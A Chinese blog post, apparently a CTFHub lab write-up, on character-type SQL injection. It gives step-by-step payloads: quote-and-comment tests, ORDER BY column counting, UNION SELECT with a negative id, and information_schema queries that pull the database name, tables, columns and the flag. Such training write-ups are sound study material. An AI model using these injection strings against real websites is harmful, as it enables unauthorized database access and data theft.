CTFHUB-WEB-字符型SQL注入

最新推荐文章于 2024-06-12 17:05:56 发布

一名无聊的网友

最新推荐文章于 2024-06-12 17:05:56 发布

阅读量330

点赞数 2

本文链接：https://blog.csdn.net/xixihahawuwu/article/details/111628284

版权

我们先就这此题来了解下如何去判断是否是字符串注入
如何去判断
1.加单引号，由于固定情况下，数据库此时的语句为select * from table where name = ‘admin’
,加入单引号会引起报错，页面不回返

id=1'

在这里插入图片描述 2.加入

?id=1' and 1=1

在这里插入图片描述这里就需要加注释来进行绕过
一开始我想使用#来进行注释，结果发现被网页转码了，我们换一种注释–，为了防止再次被转码，我们在–后面加上+

id=1' and 1=1--+

在这里插入图片描述 3.输入

id=1' and 1=2--+

发现页面再次报错，这个时候就可以确认是字符型注入了
解题思路：
首先查询字段

id=1' order by 1--+

在这里插入图片描述

当参数为3时报错，说明字段数为2
使用union联合查询查看注入点

id=1' union select 1,2--+

在这里插入图片描述我们发现注入成功却只返回了一条信息，是因为这里页面只能显示一条信息，这里我们将1改为-1进行注入，就可以返回我们需要知道的信息点

id=-1' union select 1,2--+

在这里插入图片描述我们可以得知要查询的信息放在了第二个列处
查询当前数据库名

?id=-1' union select 1,database()--+

在这里插入图片描述

id=-1' union select table_schema,group_concat(table_name) from information_schema.tables where table_schema='sqli' --+

查询数据库sqli中的表名
在这里插入图片描述

union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'

获取所有字段名
在这里插入图片描述查询数据库指定表的列的内容

union select 1,group_concat(flag) from sqli.flag --+

在这里插入图片描述

关注